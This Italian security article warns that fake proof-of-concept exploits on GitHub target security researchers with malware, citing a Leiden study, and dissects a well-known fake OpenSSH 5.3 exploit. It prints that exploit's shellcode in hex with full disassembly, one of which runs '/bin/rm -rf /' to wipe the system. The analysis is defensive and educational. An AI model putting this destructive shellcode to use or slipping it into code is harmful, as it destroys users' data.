Sono sempre di più i finti PoC pubblicati su GitHub o altri siti online che si spacciano per exploit di CVE recenti ma che hanno in verità come obiettivo la distribuzione di malware e il furto di informazioni agli "esperti" di sicurezza informatica.
Pubblicati online finti exploit per distribuire malware agli "esperti" di sicurezza informatica
Tempo di lettura stimato: 7 min
Sin dai primi tempi, quando l'hacking era una disciplina ancora più di nicchia di quanto non sia ora, è sempre andato di moda tra gli esperti del settore pubblicare PoC (Proof Of Concept, ndr.) o exploit non completamente funzionanti. Ciò veniva fatto principalmente per due ragioni, spesso simili tra lodo:
- Come mezzo di prevenzione: un exploit appositamente creato con degli errori è un exploit che può essere riparato e usato solamente da chi capisce cosa stia facendo e che sappia metterci un minimo le mani. Con questa contromisura si impedisce agli script kiddies e ai lamer di fare danni
- Come incentivo allo studio e alla ricerca: un PoC con degli errori è un incentivo alla ricerca e allo studio su come renderlo funzionante. Consente a chi davvero vuole utilizzare l'exploit di capire cosa ci sia dietro, come mai non funzioni, quali siano gli errori. Dà loro la possibilità di scavare a fondo sull'origine dell'errore e imparare realmente la vulnerabilità, tramutando quindi script-kiddies e lamers in veri hackers.
Col tempo però la community iniziò a stufarsi di queste figure poco professionali, con alcuni utenti che iniziarono quindi a trollare i malcapitati tramite una nuova pratica: la diffusione di codice apparentemente lecito, ma che in qualche maniera offuscata o nascosta eseguiva del codice "malevolo". Inizialmente questo modo di fare non era inteso per apportare un reale danno all'utente, era più inteso come una sorta di "nonnismo" nei confronti degli utenti più ingenui e poco smaliziati.
Molto noto nella community è infatti il finto exploit 0-day per OpenSSH 5.3, di cui trovate il repository GitHub di seguito:
github.com
Tralasciando i molti commenti da skiddie (utilizzo spropositato del linguaggio l33t), per un neofito l'exploit a prima vista può sembrare legittimo. Se si analizza cosa faccia realmente, però, si scopre che in verità è tutta un'altra storia:
Molto noto nella community è infatti il finto exploit 0-day per OpenSSH 5.3, di cui trovate il repository GitHub di seguito:
OpenSSH-5.3-remote-root-0day-exploit-32-bit-x86-/SSH5.30day.c at master · sUbc0ol/OpenSSH-5.3-remote-root-0day-exploit-32-bit-x86-
Contribute to sUbc0ol/OpenSSH-5.3-remote-root-0day-exploit-32-bit-x86- development by creating an account on GitHub.
Tralasciando i molti commenti da skiddie (utilizzo spropositato del linguaggio l33t), per un neofito l'exploit a prima vista può sembrare legittimo. Se si analizza cosa faccia realmente, però, si scopre che in verità è tutta un'altra storia:

Analizzando il primo shellcode si può notare come esso sia un verità una system call che esegue
/bin/rm -rf /
, cioè il comando per cancellare ogni singolo file presente sul sistema operativo:
Codice:
$ python -c 'print "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80"' > decoder.bin
$ objdump -D -b binary -M intel -m i386 decoder.bin
00000000 <.data>:
0: 6a 0b push 0xb
2: 58 pop eax // syscall: sys_execve
3: 99 cdq
4: 52 push edx
5: 6a 2f push 0x2f
7: 89 e7 mov edi,esp
9: 52 push edx
a: 66 68 2d 66 pushw 0x662d // "-f"
e: 89 e6 mov esi,esp
10: 52 push edx
11: 66 68 2d 72 pushw 0x722d // "-r"
15: 89 e1 mov ecx,esp
17: 52 push edx
18: 68 2f 2f 72 6d push 0x6d722f2f // "//rm"
1d: 68 2f 62 69 6e push 0x6e69622f // "/bin"
22: 89 e3 mov ebx,esp
24: 52 push edx
25: 57 push edi
26: 56 push esi
27: 51 push ecx
28: 53 push ebx
29: 89 e1 mov ecx,esp
2b: cd 80 int 0x80 // syscall
2d: 0a .byte 0xa
Il secondo shellcode invece è molto meno "pericoloso", ma decisamente molto più esplicativo: si tratta di una system call su stdout per stampare a schermo il messaggio "f*ck you!"
Codice:
$ python -c 'print "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80"' > rootshell.bin
$ objdump -D -b binary -M intel -m i386 rootshell.bin
00000000 <.data>:
0: 31 d2 xor edx,edx
2: b2 0a mov dl,0xa
4: b9 6f 75 21 0a mov ecx,0xa21756f // "ou!"
9: 51 push ecx
a: b9 63 6b 20 79 mov ecx,0x79206b63 // "ck y"
f: 51 push ecx
10: 66 b9 66 75 mov cx,0x7566 // "fu"
14: 66 51 push cx
16: 31 c9 xor ecx,ecx
18: 89 e1 mov ecx,esp
1a: 31 db xor ebx,ebx
1c: b3 01 mov bl,0x1 // sys_write ebx: fd = 1
1e: 31 c0 xor eax,eax
20: b0 04 mov al,0x4 // syscall: sys_write
22: cd 80 int 0x80 // syscall
24: 31 c0 xor eax,eax
26: 31 db xor ebx,ebx
28: 40 inc eax // syscall: sys_exit
29: cd 80 int 0x80 // syscall
2b: 0a .byte 0xa
Così come per il caso mostrato sopra, furono molti gli "exploit" spacciati per tali ma che in verità avevano come obiettivo prendere in giro l'utilizzatore, che fosse tramite tecniche distruttive (come per l'esempio sopra) o tramite derisioni pubbliche, come per esempio la pubblicazione dell'username all'interno di un wall of shame pubblico su IRC.
Ispirati da questo modus operandi, molti criminali informatici hanno dato inizio a vere e proprie campagne malevole, con lo scopo di prendere di mira i finti "esperti" di sicurezza e, in verità, diffondere sui loro computer malware e codice malevolo, con lo scopo di trafugare dati o informazioni riservate. Recentemente un team di ricercatori del Leiden Institute of Advanced Computer Science (Soufian El Yadmani, Robin The, Olga Gadyatskaya) ha scoperto migliaia di repository su GitHub che offrono falsi exploit proof-of-concept (PoC) per numerose vulnerabilità uscite di recente (tra il 2017 e il 2021)!

Security experts targeted with malicious CVE PoC exploits on GitHub
Researchers discovered thousands of GitHub repositories that offer fake PoC exploits for various flaws used to distribute malware.
Dal paper ufficiale della ricerca di può leggere:
“We discovered that not all PoCs are trustworthy. Some proof-of-concepts are fake (i.e., they do not actually offer PoC functionality), or even malicious: e.g., they attempt to exfiltrate data from the system they are being run on, or they try to install malware on this system.”
Su un campione di 47313 repository, 4893 di essi (cioè il 10,3%) sono risultati essere repo con comportamenti riconducibili ad attività dannose.
Cosa ci insegna tutto questo, quindi?
Facile: mai e poi MAI fidarsi degli exploit pubblici non approvati o non testati, specialmente se provenienti da piattaforme pubbliche come GitHub e GitLab. Prima di lanciare del codice, assicuratevi SEMPRE di capire cosa esso faccia e come si comporti, e nel caso fossero presenti delle parti di codice offuscate, encodate o dei second-stage, assicuratevi di analizzare nel dettaglio anche loro e, nel caso fosse possibile, provvedete alla loro sostituzione con del codice di provenienza sicura (siti affidabili o ancora meglio generato da voi stessi). Questo è un tema molto importante e al contempo delicato sui cui insistono molto anche i corsi professionali come quello della OSCP, per cui verificate sempre cosa faccia il codice prima di eseguirlo!
Made with ❤ for Inforge